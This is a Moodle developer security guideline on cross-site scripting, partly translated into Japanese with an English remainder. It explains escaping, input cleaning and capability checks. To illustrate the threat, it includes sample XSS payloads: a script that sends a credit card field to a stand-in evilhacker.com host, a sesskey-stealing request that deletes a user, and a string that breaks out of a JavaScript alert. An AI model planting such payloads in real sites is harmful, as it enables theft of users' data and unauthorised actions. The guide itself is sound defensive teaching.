開発:セキュリティ:クロスサイトスクリプティング

作成中です - Mitsuhiro Yoshida 2010年1月9日 (土) 16:27 (UTC)

このページは、Moodleセキュリティガイドラインの一部です。

何が危険ですか?

通常、ウェブブラウザでは、コンテンツに影響を及ぼす恐れのある、別サーバからのJavaスクリプトの実行を避けるようになっています。例えば、あなたのMoodleページ (http://mymooodle.com/ 内のiframeに http://makemerich.com/ の広告を表示していると考えましょう。広告ページのJavaスクリプトは、あなたのページすべてにアクセスすることはできません。

Moodleでは、実際、私たちはユーザにHTMLを入力させて、ウェブサイトの一部として表示しています。そのため、Moodleページに含まれているJavaスクリプトは、ページすべてにフルアクセスすることができてしまいます。

なぜそれが問題なのでしょう? それでは、不道徳なハッカーが次のようなコードをクレジットカード番号入力ページに埋め込んだとしましょう。

document.write('<img width="1" height="1" ' +
    'src="http://evilhacker.com/savedata.php?creditcard=' +
    document.getElementById('creditcard').value + '" />');

実際のところ、これはMoodleにおいて極めて起こりそうもないシナリオですが、可能性のある、もっともらしいシナリオです。

XSSのもう1つの問題は、悪意のあるハッカーがsesskeyプロテクションを避けて通ることができる点です。例えば、

document.write('<img width="1" height="1" ' +
    'src="http://example.com/moodle/user/delete.php?id=123&confirm=1&sesskey=' +
    document.getElementById('sesskey').value + '" />');

または、さらに洗練された方法では、管理者が移動できるフォーラムでJavaスクリプトをPOSTリクエストとして実行させます。これは、非常に悪い結果となります。

少なくともInternet Explorerでは、HTML内と同様に、JavaスクリプトはCSSスタイル情報内に隠すことができることに留意してください。ブラウザのJavaスクリプトエンジンと同様に、FlashおよびJavaアプレットもスクリプト実行に使用することができます。

危険なコンテンツは、ユーザによって直接Moodleに入れられるだけではないことにも留意してください。例えば、外部RSSフィードから入ってくることも考えられます。

どのようにして、Moodleはこの問題を回避するのですか?

XSSアタックに対するシンプルな解決方法は、ユーザにHTMLのようなリッチコンテントの入力させない、またFlashのようなプラグインをアップロードさせないことです。残念ですが、Moodleでは、私たちはユーザにリッチコンテンツを使わせたいと考えています。例えば、私たちは、フォーラム内で学生にオレンジ色のテキストを点滅させて自分を表現させたいと考えることがあります。また、私たちは、学生が使用するために、教師が面白いアプレットをアップロードできるようにしたい考えることもあります。それゆえ、私たちは譲歩する必要があるのです。

アウトプットをエスケープする

Moodleは、ユーザによって入力されたコンテンツを4つのカテゴリに分類します:

1. プレインテキストコンテンツ。例えば、小テストの記述問題に対する学生の解答。
2. multi-lang spanを含んだラベル除く、プレインテキストのラベル。例えば、コース名またはセクションタイトル。
3. すべてのユーザによって入力された、HTML (または、Wiki、マークダウン) コンテンツ。
4. 教師のように信頼されるゆーざによって入力された、HTML (または、Wiki、マークダウン) コンテンツ。

コンテンツタイプに応じて、あなたは適切な出力関数を使用する必要があります。例えば、あなたがプレインテキストコンテンツを使用する場合、コンテンツを出力するため、s() 関数を使用すべきです。この関数では、すべての「<」文字を「&anp;」に置換します。この置換が実施された場合、入力内容がJavaスクリプトと解釈されることはありません。

インプットのクリーニング

もう一方のプロテクションは、日付が入力される時点でクリーニングすることです。これは、optional_param または required_param 関数を使用して実施されます。例えば、あなたが整数の入力を期待する場合、PARAM_INTを通すことで、整数のみを戻すことができます。変数に数値のみ含まれていることを知っている場合、あなたは、悪意のあるJavaスクリプトが含まれていないことを確信することができます。

しかし、HTMLのように非常に手の込んだ入力では、コードがいくつかの複雑な状態をまずく処理してしまう可能性もあります。アルゴリズムは、将来的に、ほぼ確実に改善されますので、複雑なコンテンツに関して、私たちは生の入力をデータベースに保存して、最新のアルゴリズムを使用することによって、出力時のみクリーニングします。

出力をエスケープする 2 - Javaスクリプト

あなたが注意する必要のある、他の部分は、Javaスクリプトへのデータ送信です。例えば、あなたが、以下のようなJavaスクリプトをPHPコード内に作成した場合: echo '<script type="text/javascript">'; echo 'alert("' . $userinput . '");'; echo '</script>'; and Evil hacker can make $userinput equal to something like "); /* Do something evil. */ ( then he can get whatever code he chooses to put in the /* Do something evil. */ space to run within your web page.

In Moodle 2.0 and later, the best solution is to not echo JavaScript like this. Instead, follow the JavaScript guidelines, and put your JavaScript in an external file, and communicate with it using $PAGE->requires->data_for_js or $PAGE->requires->js_function_call. Those two methods properly encode any PHP data to be passed to JavaScript using json_encode.

Before Moodle 1.9, the tools available are less sophisticated. You should still try to put as much JavaScript as possible in an external file, included with require_js, but you will have to manage sending data form PHP to JavaScript yourself. Moodle 1.9 and earlier provide the addslashes_js function for safely encoding PHP strings for inclusion in JavaScript code.

What you need to do in your code

• Get input values using optional_param or required_param with an appropriate PARAM_... type, to ensure that only data of the type you expect is accepted.
• Alternatively, use a moodleforms, with appropriate ->setType calls in the form definition.
• Clean or escape content appropriately on output.
  • Use s or p to output plain text content (type 1 above).
  • use format_string to output content with minimal HTML like multi-lang spans (type 2 above).
  • Use format_text to output all other content (types 3 and 4 above). How carefully it is cleaned (that is, the differenve between type 3 and 4) depends on the $options->noclean argument to format_text.
• Any place where a use can input content that is output by format_text, $options->noclean, must be protected by a capability check, and the capability must be marked as RISK_XSS.
• When sending data to JavaScript code:
  • In Moodle 2.0 and later, use the $PAGE->requires->data_for_js' or $PAGE->requires->js_function_call methods.
  • In Moodle 1.9 and earlier, escape the data with addslashes_js before printing it into the JavaScript code.

What you need to do as an administrator

• Do not allow a user to have a capability with RISK_XSS unless you trust them.
  • The Security overview report can help you check this.

関連情報

• Development:セキュリティ
• Development:コーディング